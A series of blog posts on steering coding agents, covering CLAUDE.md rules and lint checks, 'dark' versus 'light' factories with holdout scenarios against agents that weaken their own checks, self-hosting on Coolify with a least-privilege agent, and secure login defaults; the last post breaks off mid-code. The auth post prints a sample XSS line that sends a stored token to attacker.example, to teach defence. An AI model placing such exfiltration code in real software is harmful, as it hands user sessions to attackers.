      "max-params": ["error", 3],
      "max-lines-per-function": ["error", 40],
      complexity: ["error", 8],
      "no-magic-numbers": ["warn", { ignore: [0, 1] }],
    },
  },
];

None of these rules proves the code is well designed. They catch the measurable symptoms (deep nesting, long functions, magic numbers) and leave the rest to review.

Architecture rules need a dependency checker. With dependency-cruiser, "the domain doesn't import the infrastructure" becomes a failing build:

// .dependency-cruiser.cjs
module.exports = {
  forbidden: [
    {
      name: "domain-is-pure",
      severity: "error",
      from: { path: "^src/domain" },
      to: { path: "^src/(infrastructure|presentation)|node_modules/(express|@prisma)" },
    },
  ],
};

This rule forbids a few imports. It doesn't prove the domain is pure: a domain file can still read process.env or call Date.now(). Extend the list as you find the leaks that matter in your codebase.

Then close the loop so the agent sees the failure while it is still working, not in CI an hour later. A Claude Code PostToolUse hook runs after an edit. This one lints only the file that was just edited (it reads the path from the hook's JSON input, so it needs jq, and quotes it so paths with spaces work), and exit code 2 sends the output back to the agent:

{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Edit|Write",
        "hooks": [
          { "type": "command", "command": "f=\"$(jq -r '.tool_input.file_path')\"; npx eslint --no-warn-ignored --max-warnings=0 \"$f\" >&2 || exit 2" }
        ]
      }
    ]
  }
}

Be clear about what this does: the hook runs after the edit. It doesn't block or undo the change; it hands the agent the error while it still has the context to fix it. The hard stop is still CI.

The split I use: the instruction file explains intent, automated checks in CI enforce the measurable part, and human review judges the rest. No single layer is enough on its own.

The VIP discount, with rules in place

Back to the opening example. Same request, but now the agent has the global standards, a project CLAUDE.md that describes the layers, and the domain rule above.

First, the refactor has to keep the behavior of the original code: one discount per customer, VIP checked before employee, no stacking. Anything else ("apply the best discount", "let discounts add up") is a business decision, not a refactor, and should come from the task, not from the agent.

With two fixed discounts, a pure function is enough. An illustrative result:

// src/domain/pricing/customer-discount.ts
const VIP_DISCOUNT = Percentage.of(10);
const EMPLOYEE_DISCOUNT = Percentage.of(20);

// Same rules as the original: VIP first, then employee, never both.
export function applyCustomerDiscount(customer: Customer, subtotal: Money): Money {
  if (customer.isVip()) return subtotal.minus(VIP_DISCOUNT.of(subtotal));
  if (customer.isEmployee()) return subtotal.minus(EMPLOYEE_DISCOUNT.of(subtotal));
  return subtotal;
}

No interface, no class, no new file per tier. But the rule is out of the 150-line checkout, the numbers have names, and it can be tested without a database.

Now suppose marketing starts adding a campaign every quarter, each with its own conditions. That's a concrete problem where a Strategy can help, if the campaigns really vary independently. This is where the agent can propose one, and say why:

// src/domain/pricing/discount-policy.ts
// Strategy pattern: campaigns are added and removed independently.
export interface DiscountPolicy {
  appliesTo(customer: Customer): boolean;
  apply(subtotal: Money): Money;
}

// src/application/checkout/calculate-total.use-case.ts
export class CalculateTotal {
  // Ordered list: the first policy that applies wins, as in the original if/else.
  constructor(private readonly policies: OrderedDiscountPolicies) {}

  execute(input: CalculateTotalInput): CalculateTotalOutput {
    const subtotal = input.cart.subtotal();
    const total = this.policies.applyFirstMatch(input.customer, subtotal);
    return { total: total.toString() };
  }
}

The name applyFirstMatch matters as much as the pattern. It tells the next reader, human or agent, that precedence is defined by order, which is exactly what the original if/else did.

What changed for whoever maintains this next:

The pricing rule lives in one place, not next to payment and email code.
It is testable in isolation, without a database.
The design matches the problem. A function for two fixed rules; a Strategy once variations change independently.
The behavior is explicit. "First match wins" is in a name and a comment, not hidden in the order of else if branches.

Ask for a self-review before "done"

One last instruction that works well in practice: make the agent check its own diff against the rules before it reports the task as finished.

Before you say the task is done:
1. Review your diff against the engineering standards in CLAUDE.md.
2. List any rule you broke on purpose and why.
3. Answer: could a developer who has never seen this repo understand the
   change, and quickly find the contracts and decisions it depends on?
   If not, fix it.

The agent will not catch everything, but in my experience question 3 catches a fair amount of unnecessary indirection.

Trade-offs and when to relax the rules

Risk	What happens	What I do
Over-engineering	Interfaces with one implementation, layers for a 50-line script	The "pragmatism" and "scope" clauses; review for ceremony, not only for bugs
Imposed design	The agent picks a pattern because a rule named it, not because the problem needs it	Rules ask for properties (isolated, testable, behavior preserved), not for specific patterns
Fighting the idiom	Object Calisthenics vs. React components, DTOs, ORM entities	Path-scoped rules: strict in `src/domain`, relaxed in UI and adapters
Context cost	Huge instruction files reduce adherence to everything	Under ~200 lines per file; move the rest to scoped rules or skills
Contradictions	Global file says one thing, project file another	The global file defers to existing project conventions
False confidence	Rules exist, so nobody reviews the design	Linters for the measurable part, humans for the rest

And to be clear about the limits: these rules don't make an agent a senior engineer. Explicit rules bring its defaults closer to your team's standards, automated checks cover the measurable part, and judgement is still needed for everything else. Choosing the right boundary for a module, or deciding that a pattern is not worth it, is still a judgement call that a human should be able to question.

FAQ

Isn't this just prompt engineering?
It's closer to writing a coding standard. The difference is that the reader is an agent that follows written rules far more literally than a new hire would, so the rules have to be concrete.

Should I put Object Calisthenics in every project?
I wouldn't apply all nine rules everywhere. They work well in the domain layer and badly in framework glue code. Scope them with paths.

Global or project file?
Personal standards in the global file, the project's architecture in the project file. If the project has its own conventions, they win.

Does the model really follow a 200-line file?
There's no guarantee, and size alone doesn't decide adherence: specific, consistent rules matter more than line count. The docs do note that longer files reduce adherence. That's why the measurable rules also live in ESLint and dependency checks.

What if the existing codebase violates all of this?
Tell the agent to apply the rules to new code and refactors only. Rewriting a legacy module as a side effect of a bug fix is how agents create the riskiest pull requests.

Takeaway

Knowing is not applying. An agent that explains SOLID perfectly will still take the shortest path when nobody asks for more.
Write rules, not principles. "Inject dependencies through the constructor" changes the output. "Follow SOLID" barely does.
Ask for properties, not patterns. "Pure, testable, behavior preserved" plus a pragmatism clause prevents the over-engineering that strict rules invite.
Put each rule in the right layer. Global standards, project architecture, path-scoped domain rules.
Enforce what you can measure, in CI. A post-edit hook gives the agent fast feedback; only a blocking check in CI is a guarantee.
Maintainable code serves the next agent session too. It starts from the code you leave behind.

What's the one rule in your CLAUDE.md or AGENTS.md that made the biggest difference in what your agent writes? I'd like to collect the good ones.

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at @diogosoares.dev, where every article becomes a visual carousel you can save (this one includes the rules table). Let's also connect on LinkedIn, or check out diogosoares.dev.

Dark Factory vs. Light Factory: Where Should AI Agents Run Unwatched?

Diogo Soares — Wed, 21 Oct 2026 07:02:13 +0000

"Code must not be written by humans."
"Code must not be reviewed by humans."

Those are the two founding rules of the AI team at StrongDM, as reproduced by Simon Willison in February 2026. Willison found the second one the most interesting, and so did I. Every instinct I have from 15 years of shipping software says that unreviewed code is how incidents start.

And yet the idea won't go away. Coding agents now run for hours, open pull requests in parallel and fix their own failing tests. Somewhere between "autocomplete" and "nobody reads the code anymore" there is a line, and most teams are crossing it without deciding where it is.

That line has a name now. A dark factory is a software pipeline where AI agents write, test and ship code that no human has read. A light factory (Addy Osmani calls it a "lit" factory) is the same pipeline with humans kept at the points where judgment matters.

This post covers three things:

What the dark factory vs. light factory distinction really is, and where the terms come from.
Why the deciding factor is verification, not model intelligence.
A practical way to decide, per loop and not per company, which work can run in the dark and which must stay lit.

Where the dark factory idea comes from

The name is borrowed from manufacturing. A "lights-out" factory runs with no people on the floor, so nobody needs the lights on. FANUC has been running robots that build robots this way for years, and Osmani's essay cites Xiaomi's 2024 facility as a recent example.

In software, the framing took off in early 2026:

Source	Contribution
Dan Shapiro's five levels (Jan 2026)	A ladder of AI-assisted programming modelled on self-driving levels. The top rung is the "dark software factory".
StrongDM's software factory (Feb 2026)	A real team operating with "no human writes, no human reviews" rules, verified through hidden scenarios.
Addy Osmani, "Software Factories, Light and Dark" (Jul 2026)	Defines loop, harness and factory, and argues that each loop needs its own light switch.

Osmani's vocabulary is the most useful one I have found, so I'll use it for the rest of this post:

Loop: one agent doing one job repeatedly. Gather context, act, check, repeat until a condition is met.
Harness: everything around the loop. Sandbox, tools, memory, and the gates that define "done".
Factory: many harnessed loops fed by a work queue and drained through a review gate into production.

The dark vs. light question is only about that last gate. Who, or what, decides that a change is good enough to ship?

                 ┌──────────── HARNESS ────────────┐
 work queue ──▶  │ agent loop: context → act → check │ ──▶ REVIEW GATE ──▶ production
                 └──────────────────────────────────┘        │
                                                       light: a human approves
                                                       dark:  only machines check

The real problem: generation is cheap, verification is not

Agents made writing code nearly free. They did not make understanding code any cheaper. That gap is what Osmani calls comprehension debt: the growing distance between how much code exists and how much any human still understands.

A dark factory takes on comprehension debt as fast as it can produce code, and the tests stay green the whole time. Nothing looks wrong until something breaks and nobody on the team knows how that part of the system works.

The failure modes are specific, and they are different on each side:

	Dark factory failure	Light factory failure
What goes wrong	Plausible code with "inhuman" mistakes ships because every check passes	Humans become the bottleneck and rubber-stamp 40 PRs a day
How it shows up	Late, quiet incidents in code nobody has read	Review queues, slow delivery, reviewer fatigue
Root cause	Checks are weaker than the agent's ability to satisfy them	Review effort is spent on the wrong layer (lines instead of plans)
Cost	Painful manual debugging of an unfamiliar codebase	Throughput, and eventually the reviews stop being real

That last row on the light side is the one people underestimate. A light factory where humans click "approve" without reading is a dark factory with extra latency. You get the risk of the dark version and the cost of the light one.

There is also a direct money cost on the dark side. StrongDM's benchmark, as Willison reports it, is that a factory should spend around $1,000 per human engineer per day on tokens. Willison points out this is about $20,000 per engineer per month, which turns the approach into a business-model question for most teams.

The deciding factor: can a machine verify this cheaply and honestly?

Shapiro's levels and most of the commentary around them point to the same conclusion: autonomy is gated by verification, not by how smart the model is. A loop can go dark only when its checks are:

Cheap: they run on every change without anyone waiting.
Fast: the agent gets feedback inside its own loop.
Hard to fake: the agent can't make them pass without doing the actual work.

The third property is where most setups fail. If the same agent writes the code and the tests, a green suite proves very little. Agents are very good at satisfying whatever check you give them, including by weakening the check.

StrongDM's answer is worth studying because it targets exactly this. They keep end-to-end scenarios outside the codebase, where the coding agents can't see them, similar to a holdout set in model training. They test against a "Digital Twin Universe" of behavioural clones of third-party services. And instead of pass/fail, they measure "satisfaction": the share of scenario runs that likely satisfy a user.

You don't need their budget to apply the principle. A minimal version of a holdout gate looks like this:

# .github/workflows/holdout-gate.yml (illustrative)
name: holdout-scenarios
on: pull_request
jobs:
  scenarios:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      # Scenarios live in a separate repo the coding agent has no access to
      - uses: actions/checkout@v4
        with:
          repository: acme/billing-scenarios
          token: ${{ secrets.SCENARIOS_READ_TOKEN }}
          path: scenarios
      - run: npm ci && npm run build
      - run: npx playwright test --config scenarios/playwright.config.ts

The important part is not Playwright or GitHub Actions. It is the boundary: the agent that writes the code cannot read or edit the checks that judge it. Without that boundary, "dark" just means "unverified".

How to decide: a light switch per loop

The most practical idea in Osmani's essay is that going fully dark or fully light both fail, in different ways. The decision belongs to each loop, not to the organisation.

I find it helps to score each loop on four questions before giving it any autonomy:

Question	Dark is reasonable when...	Keep it light when...
How is it verified?	Type checks, property tests, holdout scenarios, linters	"Looks right", or tests written by the same agent
What is the blast radius?	One file, one service, easy rollback	Auth, payments, data migrations, public APIs
How long does the decision live?	Days (a lint fix, a dependency bump)	A year or more (schema, architecture, contracts)
How reversible is it?	`git revert` and redeploy	Data loss, leaked secrets, customer emails sent

Here is the same rubric as code, so it can live in your factory's router instead of in someone's head:

type Verification = "machine-hard-to-fake" | "machine-self-written" | "human-judgment";
type BlastRadius = "local" | "service" | "critical";

interface LoopProfile {
  verification: Verification;
  blastRadius: BlastRadius;
  decisionLifetimeDays: number;
  reversible: boolean;
}

type FactoryMode = "dark" | "light-at-plan" | "light-at-merge";

const LONG_LIVED_DECISION_DAYS = 365;

export function chooseFactoryMode(loop: LoopProfile): FactoryMode {
  // Irreversible or critical work always gets a human before merge
  if (!loop.reversible || loop.blastRadius === "critical") return "light-at-merge";
  // Long-lived decisions need human judgment on the plan, not on every line
  if (loop.decisionLifetimeDays >= LONG_LIVED_DECISION_DAYS) return "light-at-plan";
  if (loop.verification !== "machine-hard-to-fake") return "light-at-merge";
  return "dark";
}

Notice that there are two kinds of "light". This matters more than the dark/light split itself.

Light at merge is classic code review: a human reads the diff. It is expensive and doesn't scale to agent output volumes, so reserve it for the small set of changes where a mistake is truly costly.

Light at plan moves human judgment upstream. The agent writes a short plan (approach, files it will touch, risks, how it will verify), a human approves or redirects it, and then the implementation runs with machine checks. Reviewing a one-page plan is far cheaper than reviewing 2,000 generated lines, and it catches the mistakes that tests can't: building the wrong thing.

Putting it into practice

Let's walk through a hypothetical team running agents on a mid-sized SaaS product. These are the loops they might have, and where each one lands:

Loop	Verification	Mode
Nightly: fix one lint warning, open one small PR	Linter + type check + existing tests	Dark
Patch-level dependency bumps	Lockfile diff + full test suite + holdout scenarios	Dark
New endpoint in an internal admin tool	Agent-written tests only	Light at merge
New billing feature	Holdout scenarios exist, but it touches money	Light at plan + merge
Database schema change	Migration dry run	Light at plan + merge
Changes to auth, sessions or secrets handling	Anything	Light at merge, always

The pattern is that dark loops are small, boring and well-guarded. That is not a limitation; it is the point. Osmani cites Dex Horthy's rule of thumb that agents hold up for roughly three to ten steps and start losing the thread past twenty. Short loops with strong gates are what make darkness affordable.

The agent side of this also needs to be written down, because an agent won't infer where the lights are. I keep this kind of rule in CLAUDE.md so every session starts with it:

## Autonomy boundaries
- You may open PRs without asking for: lint fixes, patch-level dependency
  bumps, test additions, docs. Keep each PR under 200 changed lines.
- Before writing code for anything else, produce a plan (approach, files,
  risks, how you will verify it) and STOP for approval.
- Never modify: auth, session handling, payment flows, migrations, CI
  workflows, or anything under /scenarios. Propose the change instead.
- Never weaken an existing test or assertion to make it pass.

The last line is there because it is the most common way an unattended loop "succeeds" while failing.

Finally, instrument the dark loops. If no human reads the code, humans must at least be able to see what the factory did: which loop produced which change, what checks ran, how often each loop escalates or gets reverted. A rising revert rate on a dark loop is the signal to turn its light back on.

Trade-offs and when the dark factory is the wrong choice

I'm sceptical of going fully dark on any system that people depend on, and I think the sceptics have the stronger argument today. But a blanket "never" is also wrong.

	Dark factory	Light factory
Throughput	Limited by compute and budget	Limited by reviewer attention
Main risk	Comprehension debt, silent wrong behaviour	Rubber-stamp reviews, slow delivery
Upfront investment	Very high: holdout scenarios, service twins, observability	Moderate: plan templates, review discipline
Token cost	High (StrongDM's benchmark: ~$1,000/engineer/day)	Lower
Best fit	Well-specified, reversible, heavily tested work	Ambiguous, long-lived, high blast radius work

Don't run a loop in the dark if any of these are true:

You can't write the checks independently of the agent. If the only tests are the ones the agent wrote, you are trusting the agent to grade itself.
The domain is regulated or safety-relevant. "No human reviewed this" is a hard answer to give an auditor.
The system is a legacy codebase with weak tests. Agents amplify whatever is there. In a poorly documented system, they amplify the confusion.
Nobody on the team could debug it. If the code breaks at 3 a.m., someone has to understand it. If that person doesn't exist, you are borrowing against comprehension you don't have.

And don't keep a loop light just out of habit. Asking senior engineers to line-review a dependency bump that a solid test suite already verified is how review stops being meaningful for the changes that need it.

FAQ

Is a dark factory the same as "vibe coding"?
No. Vibe coding skips verification. A serious dark factory replaces human review with heavier machine verification: hidden scenarios, service twins, conformance checks. The absence of review is only defensible when the verification is stronger than review would have been.

Who coined the terms?
"Dark factory" comes from lights-out manufacturing. In software, Dan Shapiro's five levels and StrongDM's published approach (both covered by Simon Willison) popularised it in early 2026. The light/dark pairing for software factories is laid out in Addy Osmani's July 2026 essay. The terms are still informal and people draw the lines differently.

Does a light factory mean reviewing every line the agent writes?
It shouldn't. The most effective place for human judgment is the plan and the architecture, before the code exists. Line-level review is for the small set of high-risk changes.

Can a team move from light to dark over time?
Yes, one loop at a time. When a loop has strong independent checks and a low revert rate over a sustained period, reduce the human gate. When the revert rate rises, add it back.

Does architecture still matter if agents write the code?
More than before. Clear module boundaries, good types, dependency injection and test seams are what make machine verification possible. Weak architecture forces you to keep everything light.

Takeaway

The dark vs. light choice is about the review gate, not about how much code the agent writes.
Autonomy is gated by verification. A loop can go dark only when its checks are cheap, fast and hard to fake.
Separate the checker from the doer. Keep holdout scenarios where the coding agent can't read or edit them.
Move human judgment upstream. Reviewing a plan is cheaper and catches more than reviewing generated lines.
Decide per loop. Lint fixes can run in the dark; auth, payments and migrations stay lit.
Watch the revert rate. It tells you when a dark loop needs its light back on.

Which loop in your team runs unwatched today, and what check do you trust to catch it when it's wrong? I'd like to hear it in the comments.

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to, let's connect on LinkedIn, or check out diogosoares.dev.

Why I Left Vercel for Coolify on My Own VPS

Diogo Soares — Tue, 20 Oct 2026 08:09:09 +0000

A huge share of MVPs today look the same: a Next.js app, pushed to GitHub, deployed on Vercel in two clicks. I've built that way too, and for a first demo it's hard to beat.

The problem shows up when the MVP starts working. A page gets shared, a bot finds your API, a query gets slow. On a usage-based platform, every one of those requests is on the bill.

Today I run 7 applications, 5 databases and an observability stack on a single VPS, managed by Coolify. From Next.js and Node.js to Python services and self-hosted infrastructure, I deploy different stacks without depending on a platform-specific runtime. And an AI agent helps me run it, under permissions that limit what it can touch.

This post covers why I left Vercel, what Coolify on a VPS gives you (and what it doesn't), how to move a Next.js app, and how I let an AI agent manage the infrastructure without handing it the keys.

The problem with Vercel for MVPs: you can't predict the bill

Vercel is a great product. The issue is the pricing model. On the Pro plan you pay per seat, then usage on top of the included amounts: function invocations, active CPU, data transfer, edge requests. At the time of writing, the plan starts at $20 per seat per month, and published usage rates include around $0.15 per GB of data transfer beyond the included 1 TB (it varies by region) and $0.60 per million invocations. Check vercel.com/pricing for current numbers.

For a steady, low-traffic app that's cheap. For an MVP it's a risk, because MVP traffic is the one thing you can't forecast. Some hypothetical but realistic scenarios:

What happens	What it costs you
An image-heavy page goes viral: 5 TB in a month	~4 TB over the included amount, roughly $600 in data transfer alone
A scraper calls your API in a loop	Invocations and CPU time grow with every call
A slow query makes each function run longer	Active CPU grows even when traffic doesn't

Vercel's Spend Management lets you set a budget, get alerts and optionally pause production deployments when you reach it. That's useful, but it leaves you choosing between a bigger bill or a paused app, right when people are looking.

What I wanted was boring: an infrastructure bill I know in advance.

What Coolify on a VPS gives you

Coolify is an open-source, self-hostable platform that covers most of what I used on Vercel:

Git push to deploy, with Nixpacks, a Dockerfile or Docker Compose
Automatic HTTPS with Let's Encrypt, through Traefik
Preview deployments for pull requests
One-click databases with scheduled backups to S3-compatible storage
Scheduled tasks, env variables, logs, health checks, rollbacks and an API

Everything runs in Docker, so each app is a standard container and nothing is tied to Coolify.

For me, the biggest advantage isn't the price. It's not being tied to one framework or runtime. My Next.js apps run alongside Node.js APIs, Python services and background jobs, and I deploy all of them the same way: a Dockerfile or a Docker Compose file, a Git repository, a merge into main. A new stack doesn't mean a new hosting provider or a new deploy workflow.

That extends beyond applications. Postgres, Redis, monitoring and S3-compatible object storage (MinIO or SeaweedFS, for example) run on the same server, and Coolify manages their deployment and lifecycle. It feels less like hosting a few apps and more like running my own small application platform. One caveat: object storage on a single VPS doesn't give you the durability of a managed service like Amazon S3, so keep anything you can't lose backed up elsewhere. Coolify can also send its backups to external S3-compatible storage.

My setup is a single KVM VPS with Coolify on the same machine:


Server	4 vCPUs, 16 GB RAM, 200 GB NVMe
Bandwidth	16 TB/month included
Running on it	7 apps, 5 databases, an observability stack
Price	€27.99/month regular, often on promotion around €10.99 (what I pay today). VPS only.

Look at the last two lines together. At the promotional price, the whole server costs less than one Vercel Pro seat; at the regular price, roughly one and a half. Either way, the viral month from the table above, 5 TB of transfer, fits inside the bandwidth the plan already includes. One caveat: promotional prices usually cover the first billing term, so budget for the regular price when you renew.

If you want the same plan, here's my referral link. Disclosure: it's an affiliate link, so I may earn a commission if you sign up through it.

To be precise about "fixed": the server price doesn't change with traffic. A traffic spike can still saturate the server and slow things down, and external services (email, object storage, a CDN) bill separately. What changes is that a bot hammering my API costs me CPU I've already paid for, not a new line on an invoice.

On sizing: Coolify's current docs list a minimum of 2 CPU cores, 2 GB of RAM and 10 GB of free disk, for Coolify alone. Apps, databases and Docker images need room on top. A smaller plan with 2 vCPUs, 8 GB of RAM and 100 GB of disk is a reasonable start for a few small apps with Postgres. I went bigger mostly because builds are the heaviest moment: a next build can use a lot of memory, and it runs on the same machine that serves your traffic.

What you give up

On Vercel	On a single VPS
Autoscaling	You resize the server or add servers yourself
Global edge network	One region, unless you put a CDN in front
Managed redundancy	One server is a single point of failure
Platform security	OS patches, firewall, SSH, secrets are your job

That last row is why most people stay on Vercel, so it comes first.

Harden the server before the first deploy

The baseline I'd apply to any VPS before installing anything:

SSH with keys only, no password login, no root login.
Automatic security updates (unattended-upgrades on Ubuntu/Debian).
A firewall at the cloud provider allowing only 22 (ideally from your IP), 80 and 443.
The Coolify dashboard on its own domain with HTTPS and 2FA, with the default ports (8000, 6001, 6002) closed once the domain works.
Databases never published to the internet. Apps reach them over the internal Docker network; use an SSH tunnel for local access.
Backups off the server, at a different provider, and a restore you've actually tested.

The trap almost everyone falls into: Docker writes its own iptables rules, so ports published by containers bypass ufw. A "deny all" ufw policy can still leave a database on 5432 open to the internet. That's why the firewall belongs at the provider level, and why databases shouldn't publish ports at all.

Moving a Next.js app off Vercel

Next.js runs as a normal Node server. Enable standalone output so the build contains only what the server needs:

// next.config.js
module.exports = { output: "standalone" };

Then a multi-stage Dockerfile that runs as a non-root user:

FROM node:22-alpine AS build
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci
COPY . .
RUN npm run build

FROM node:22-alpine AS runner
WORKDIR /app
ENV NODE_ENV=production PORT=3000 HOSTNAME=0.0.0.0
RUN addgroup -S app && adduser -S app -G app
COPY --from=build --chown=app:app /app/.next/standalone ./
COPY --from=build --chown=app:app /app/.next/static ./.next/static
COPY --from=build --chown=app:app /app/public ./public
USER app
EXPOSE 3000
CMD ["node", "server.js"]

What matters here: the runtime image holds only the compiled output the server needs, not your full source tree, dev dependencies or a root user.

Keep secrets out of the build. In Coolify, every env variable has an "Available at Buildtime" option. Turn it off for secrets. Values passed as build arguments can end up in the image metadata (docker history) or baked into the output if your code reads them during next build. Only variables the build really needs should be available there, like NEXT_PUBLIC_*, which are public anyway because Next.js inlines them into the client bundle. If a build truly needs a secret, use Docker build secrets instead of build arguments.

Then replace the Vercel-specific pieces: vercel.json crons become Coolify Scheduled Tasks, Vercel Postgres/KV/Blob become Postgres, Redis and any S3-compatible storage, and analytics can move to Plausible or Umami.

About downtime on deploys. Coolify can do rolling updates: it starts the new container and removes the old one only after the new one passes its health check. That requires a working health check, no host port mapping and no custom container name, and it doesn't apply to Docker Compose apps. Even then, Coolify's docs are clear that it doesn't guarantee zero downtime: your app still has to report readiness correctly and shut down cleanly.

Letting an AI agent manage it, with least privilege

The real cost of self-hosting isn't the server. It's the attention needed to set up every project correctly: database, env vars, previews, monitoring, and every security step, every time.

I do most of that with Claude Code connected to Coolify's built-in MCP server, which Coolify serves at /mcp on your own instance and authenticates with a Coolify API token. Through it, the agent inspects every app, database and deployment and checks env variable names against my rules. When a deploy fails, it reads the status and the failure reason and tells me what went wrong.

The agent can't deploy. The token has no deploy ability, so deploying, starting, stopping or restarting through the MCP is refused. Deploys happen only through Git: each app is connected to its GitHub repository, and Coolify deploys automatically when something is merged into main. The agent's changes, whether app code, SQL for a database role or a new exporter in my monitoring repo, go through a pull request that I review and merge. The only path to production is a merge I make.

In practice, GitHub and Coolify work very well together here. Coolify's GitHub App connects each repository, GitHub Actions runs the tests and checks on every pull request, and Coolify can spin up a preview deployment for the same pull request, so I review the code and see it running before I merge. With branch protection requiring those checks to pass, nothing reaches main untested, and the merge itself is the deploy. It's the same flow I had on Vercel, on infrastructure I control.

The key idea: security is enforced by permissions, not by asking the agent nicely. An instruction like "don't read secrets" can be ignored or bypassed by a prompt injection. A token that can't read secrets can't be talked into it.

Layer	What it enforces
API token scope	Bound to one team: the MCP only returns resources that team owns.
No `read:sensitive`	The token doesn't have it, so sensitive data stays out of reach. I tested it: asking for a deployment's log summary is refused with `Missing required permissions: read:sensitive`.
Names, never values	The MCP lists env variable names and flags (runtime, build time, preview), never their values, and never returns configuration snapshots.
No `deploy` ability	Deploy, start, stop and restart all need it, and the token doesn't have it. Production changes only through the GitHub auto-deploy when I merge into `main`.
No shell access	No SSH key and no shell on the host. The agent only sees what the MCP exposes.
Human approval	Every change reaches production through a pull request I review and merge. SQL is reviewed before it runs.

The rules are the other half. My CLAUDE.md has a checklist that the agent applies to every new project before its first deploy:

## New project on Coolify
- Dedicated database role (NOSUPERUSER NOCREATEDB NOCREATEROLE),
  never the `postgres` superuser in DATABASE_URL.
- Admin seed runs once; then ADMIN_PASSWORD is removed and the
  password is changed in the app, with 2FA.
- Secrets are runtime-only: "Available at Buildtime" unchecked.
- Preview env vars get their own values, never production ones.
- The new database gets a monitoring user and an exporter.

Each rule closes a specific hole. An app connected as the database superuser turns one SQL injection into "drop every database on the server". A preview pointing at production lets a buggy pull request change real data. A leftover admin password is a backdoor nobody remembers to rotate.

What permissions don't solve. CLAUDE.md is guidance, not isolation: it makes the agent consistent, but only the token and the MCP server actually restrict it. Prompt injection through logs or web pages is still possible, which is why the token's scope is the real limit on the damage. And the agent can be confidently wrong, so I review what it changes.

Writing these rules down also made something uncomfortable visible: apps I had set up before the rules existed don't all follow them. Asking the agent to audit my own infrastructure against them is the subject of the next post.

When I'd still choose Vercel

Nobody on the team wants to own infrastructure, even with an agent helping.
Traffic is global and very spiky, and edge latency matters more than cost.
You depend on Vercel-specific features and time-to-market beats everything.
It's a short-lived demo that stays inside the included usage.

For side projects and early MVPs, a VPS with Coolify and a well-constrained agent has been the better deal for me. And if an MVP outgrows one server, every app is already a Docker image: resize, split the database out, add servers, or move to a managed platform without rewriting anything.

FAQ

Isn't your time worth more than the savings?
The server setup is mostly a one-time cost. The per-project work is what the agent now does from the checklist. What remains is reviewing its changes and watching alerts.

What happens if the server dies?
Everything on it goes down; that's the biggest trade-off. Mitigation: off-site database backups, app config in Git, every app rebuildable from its image. Test the restore at least once.

What about DDoS and abusive bots?
A single VPS can't absorb a real DDoS. Put a CDN/proxy like Cloudflare in front and rate limit expensive endpoints. Within the plan's bandwidth allowance, an attack costs you performance rather than an unexpected bill, though what happens beyond that allowance, and with any paid external services, depends on your provider.

Why Coolify and not Dokploy, CapRover or plain Docker Compose?
All valid. I picked Coolify for its previews, database backups and, mainly, its API, which is what lets an agent manage it.

Do I need Claude Code specifically?
No. Any agent that supports MCP or can call the Coolify API works. The guardrails matter more than the agent.

Takeaway

Vercel's problem for MVPs is predictability, not quality. Usage-based billing means a bigger bill or a paused app at the worst moment.
Coolify on a VPS covers most of the developer experience at a known monthly price, with no lock-in.
Harden the server first, and remember that Docker-published ports bypass ufw.
Keep secrets out of the build: runtime-only env vars, build secrets when unavoidable.
AI doesn't remove infrastructure responsibility. It changes how you manage it: least-privilege tokens enforce the limits, written rules give consistency, and a human approves what can't be undone.

If you let an agent touch your infrastructure, how do you limit what it can do? I'd like to compare approaches in the comments.

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to, let's connect on LinkedIn, or check out diogosoares.dev.

Your AI Agent Will Build an Insecure Login, Unless You Tell It Not To

Diogo Soares — Mon, 19 Oct 2026 07:21:41 +0000

"Build me an app with login."

It's one of the most common prompts people give to coding agents, and it almost always "works". You get a form, a /login endpoint, a JWT, a protected page. The demo runs and you ship.

Then you open DevTools → Application → Local Storage and find this:

localStorage.setItem("token", data.accessToken);

That one line means any XSS vulnerability anywhere in your app gives an attacker your users' sessions.

This isn't a bug in the model. The agent did what you asked, in the shortest way it knows. Most auth tutorials on the internet use this pattern, so that's what you get by default. An AI agent treats security as a requirement, not a default. If you don't specify it, you don't get it.

This post covers two things:

What a secure authentication baseline looks like in 2026, and why each piece matters.
How to ask your agent for it so you get it every time without repeating yourself.

Part 1: What the agent builds when you don't ask

Here's what "app with login" usually produces when nothing else is specified:

Shortcut the agent takes	Why it's a problem
Token in `localStorage` / `sessionStorage`	Readable by any JavaScript on the page. One XSS = token exfiltrated.
One long-lived JWT (hours or days), no refresh	A stolen token keeps working until it expires. Logout doesn't revoke anything.
HS256 with a hard-coded secret (`"supersecret"`)	Anyone with the secret can mint tokens. It often ends up committed to git.
`jwt.decode()` or `jwt.verify()` without pinned algorithms	Opens the door to `alg: none` and algorithm confusion attacks.
No rate limiting on `/login` or `/register`	Credential stuffing, brute force and scripted sign-ups cost nothing.
"Invalid password" vs "User not found"	User enumeration.
"An account with this email already exists" on sign-up	The same enumeration leak, on a different form.
`User.create(req.body)` on sign-up	Mass assignment: send `"role": "admin"` and see what happens.
No 2FA	A leaked password is a full account takeover.
No CSP or security headers	Nothing limits the impact of an XSS.

None of these show up in a demo. All of them show up in a pentest.

Why `localStorage` is the big one

localStorage and sessionStorage are available to every script that runs on your origin. That includes your code, every npm dependency in your bundle, every third-party script (analytics, chat widgets, A/B testing) and any script an attacker manages to inject.

The XSS doesn't even need to be in the login page. A Markdown renderer that doesn't sanitize, a compromised dependency, or a dangerouslySetInnerHTML in a comments component can all run code like this:

fetch("https://attacker.example/steal?t=" + localStorage.getItem("token"));

Now the attacker has a bearer token they can use from their own machine, for as long as it stays valid.

An HttpOnly cookie is invisible to JavaScript, so document.cookie can't read it and that exfiltration path is gone.

Being honest about the limits: HttpOnly doesn't make XSS harmless. Injected script can still send requests from the victim's browser while the page is open. What it prevents is token theft and persistence, where the attacker walks away with a credential. That's why cookies come together with a strict Content Security Policy, short token lifetimes and output escaping. It's defense in depth, not one silver bullet.

Part 2: The secure authentication baseline

This is the baseline I use on every project with authentication. Each item answers one question: "How would I exploit this?"

1. Tokens live in hardened cookies, never in web storage

// Express example
res.cookie("__Host-access_token", accessToken, {
  httpOnly: true,     // invisible to JavaScript, so XSS can't read it
  secure: true,       // HTTPS only
  sameSite: "strict", // not sent on cross-site requests ("lax" if you have a reason)
